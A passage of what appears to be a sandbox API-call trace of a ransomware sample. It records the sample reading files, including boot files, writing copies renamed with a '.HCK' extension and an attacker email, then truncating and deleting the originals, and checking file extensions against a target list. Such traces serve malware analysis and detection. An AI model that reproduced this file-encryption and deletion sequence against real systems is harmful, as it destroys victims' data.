(lpString="UiInfo.xml") returned 10 [0149.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.843] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=38898) returned 1 [0149.843] CloseHandle (hObject=0x37c) returned 1 [0149.843] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0149.843] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.844] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.844] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.844] GetLastError () returned 0x0 [0149.844] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x97f2, lpOverlapped=0x0) returned 1 [0149.846] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9800, lpOverlapped=0x0) returned 1 [0149.847] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.847] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe8, lpOverlapped=0x0) returned 1 [0149.847] SetEndOfFile (hFile=0x368) returned 1 [0149.847] CloseHandle (hObject=0x368) returned 1 [0149.849] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.849] SetEndOfFile (hFile=0x37c) returned 1 [0149.849] CloseHandle (hObject=0x37c) returned 1 [0149.850] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.850] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0149.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.852] lstrlenW (lpString=".doc") returned 4 [0149.852] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.852] lstrlenW (lpString=".docx") returned 5 [0149.852] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.852] lstrlenW (lpString=".pdf") returned 4 [0149.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".xls") returned 4 [0149.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".xlsx") returned 5 [0149.853] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.853] lstrlenW (lpString=".ppt") returned 4 [0149.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".zip") returned 4 [0149.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.853] lstrlenW (lpString=".rar") returned 4 [0149.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".bz2") returned 4 [0149.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".7z") returned 3 [0149.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".dbf") returned 4 [0149.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".1cd") returned 4 [0149.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".jpg") returned 4 [0149.853] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".doc") returned 4 [0149.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".docx") returned 5 [0149.853] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.853] lstrlenW (lpString=".pdf") returned 4 [0149.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".xls") returned 4 [0149.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".xlsx") returned 5 [0149.853] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.853] lstrlenW (lpString=".ppt") returned 4 [0149.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".zip") returned 4 [0149.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.853] lstrlenW (lpString=".rar") returned 4 [0149.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".bz2") returned 4 [0149.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString=".7z") returned 3 [0149.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".dbf") returned 4 [0149.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.853] lstrlenW (lpString=".1cd") returned 4 [0149.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0149.854] lstrlenW (lpString=".jpg") returned 4 [0149.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.854] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0149.854] lstrlenW (lpString="watermark.bmp") returned 13 [0149.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.854] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=104072) returned 1 [0149.854] CloseHandle (hObject=0x37c) returned 1 [0149.854] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0149.854] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.854] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.854] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.855] GetLastError () returned 0x0 [0149.855] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x19688, lpOverlapped=0x0) returned 1 [0149.858] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x19690, lpOverlapped=0x0) returned 1 [0149.860] ReadFile (in: hFile=0x37c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.860] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xee, lpOverlapped=0x0) returned 1 [0149.860] SetEndOfFile (hFile=0x368) returned 1 [0149.860] CloseHandle (hObject=0x368) returned 1 [0149.862] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.862] SetEndOfFile (hFile=0x37c) returned 1 [0149.864] CloseHandle (hObject=0x37c) returned 1 [0149.864] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.864] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".doc") returned 4 [0149.865] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".docx") returned 5 [0149.865] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0149.865] lstrlenW (lpString=".pdf") returned 4 [0149.865] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".xls") returned 4 [0149.865] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".xlsx") returned 5 [0149.865] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0149.865] lstrlenW (lpString=".ppt") returned 4 [0149.865] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".zip") returned 4 [0149.865] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".rar") returned 4 [0149.865] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".bz2") returned 4 [0149.865] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".7z") returned 3 [0149.865] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".dbf") returned 4 [0149.865] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".1cd") returned 4 [0149.865] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".jpg") returned 4 [0149.865] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".doc") returned 4 [0149.865] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".docx") returned 5 [0149.865] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0149.865] lstrlenW (lpString=".pdf") returned 4 [0149.865] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".xls") returned 4 [0149.865] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString=".xlsx") returned 5 [0149.865] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0149.865] lstrlenW (lpString=".ppt") returned 4 [0149.865] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0149.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.865] lstrlenW (lpString=".zip") returned 4 [0149.865] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0149.866] lstrlenW (lpString=".rar") returned 4 [0149.866] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0149.866] lstrlenW (lpString=".bz2") returned 4 [0149.866] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0149.866] lstrlenW (lpString=".7z") returned 3 [0149.866] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0149.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.866] lstrlenW (lpString=".dbf") returned 4 [0149.866] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0149.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.866] lstrlenW (lpString=".1cd") returned 4 [0149.866] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0149.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0149.866] lstrlenW (lpString=".jpg") returned 4 [0149.866] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0149.866] lstrcmpiW (lpString1=".LOG", lpString2=".HCK") returned 1 [0149.866] lstrlenW (lpString="BCD.LOG") returned 7 [0149.866] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.866] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.866] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.866] lstrlenW (lpString=".doc") returned 4 [0149.866] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0149.866] lstrlenW (lpString=".docx") returned 5 [0149.866] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0149.866] lstrlenW (lpString=".pdf") returned 4 [0149.866] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0149.866] lstrlenW (lpString=".xls") returned 4 [0149.866] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0149.866] lstrlenW (lpString=".xlsx") returned 5 [0149.866] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0149.866] lstrlenW (lpString=".ppt") returned 4 [0149.866] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0149.866] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.866] lstrlenW (lpString=".zip") returned 4 [0149.866] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0149.866] lstrlenW (lpString=".rar") returned 4 [0149.866] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0149.866] lstrlenW (lpString=".bz2") returned 4 [0149.866] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0149.866] lstrlenW (lpString=".7z") returned 3 [0149.866] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0149.866] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.866] lstrlenW (lpString=".dbf") returned 4 [0149.866] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0149.866] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".1cd") returned 4 [0149.867] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".jpg") returned 4 [0149.867] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".doc") returned 4 [0149.867] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0149.867] lstrlenW (lpString=".docx") returned 5 [0149.867] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0149.867] lstrlenW (lpString=".pdf") returned 4 [0149.867] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0149.867] lstrlenW (lpString=".xls") returned 4 [0149.867] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0149.867] lstrlenW (lpString=".xlsx") returned 5 [0149.867] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0149.867] lstrlenW (lpString=".ppt") returned 4 [0149.867] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".zip") returned 4 [0149.867] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0149.867] lstrlenW (lpString=".rar") returned 4 [0149.867] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0149.867] lstrlenW (lpString=".bz2") returned 4 [0149.867] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0149.867] lstrlenW (lpString=".7z") returned 3 [0149.867] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".dbf") returned 4 [0149.867] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".1cd") returned 4 [0149.867] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0149.867] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0149.867] lstrlenW (lpString=".jpg") returned 4 [0149.867] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0149.867] lstrcmpiW (lpString1=".DAT", lpString2=".HCK") returned -1 [0149.867] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0149.867] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.332] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=65536) returned 1 [0150.333] CloseHandle (hObject=0x30c) returned 1 [0150.361] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0150.362] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.362] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0150.362] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.362] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.362] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.362] GetLastError () returned 0x0 [0150.362] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x10000, lpOverlapped=0x0) returned 1 [0150.367] WriteFile (in: hFile=0x36c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10010, lpOverlapped=0x0) returned 1 [0150.368] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.368] WriteFile (in: hFile=0x36c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.368] SetEndOfFile (hFile=0x36c) returned 1 [0150.368] CloseHandle (hObject=0x36c) returned 1 [0150.370] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.370] SetEndOfFile (hFile=0x30c) returned 1 [0150.371] CloseHandle (hObject=0x30c) returned 1 [0150.371] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x26) returned 1 [0150.371] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0150.371] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.371] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.371] lstrlenW (lpString=".doc") returned 4 [0150.371] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0150.371] lstrlenW (lpString=".docx") returned 5 [0150.371] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0150.371] lstrlenW (lpString=".pdf") returned 4 [0150.371] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0150.371] lstrlenW (lpString=".xls") returned 4 [0150.371] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0150.371] lstrlenW (lpString=".xlsx") returned 5 [0150.372] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0150.372] lstrlenW (lpString=".ppt") returned 4 [0150.372] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".zip") returned 4 [0150.372] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".rar") returned 4 [0150.372] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".bz2") returned 4 [0150.372] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0150.372] lstrlenW (lpString=".7z") returned 3 [0150.372] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".dbf") returned 4 [0150.372] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".1cd") returned 4 [0150.372] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".jpg") returned 4 [0150.372] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".doc") returned 4 [0150.372] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".docx") returned 5 [0150.372] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0150.372] lstrlenW (lpString=".pdf") returned 4 [0150.372] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".xls") returned 4 [0150.372] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".xlsx") returned 5 [0150.372] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0150.372] lstrlenW (lpString=".ppt") returned 4 [0150.372] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0150.372] lstrlenW (lpString=".zip") returned 4 [0150.372] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0150.372] lstrlenW (lpString=".rar") returned 4 [0150.372] lstrcmpiW 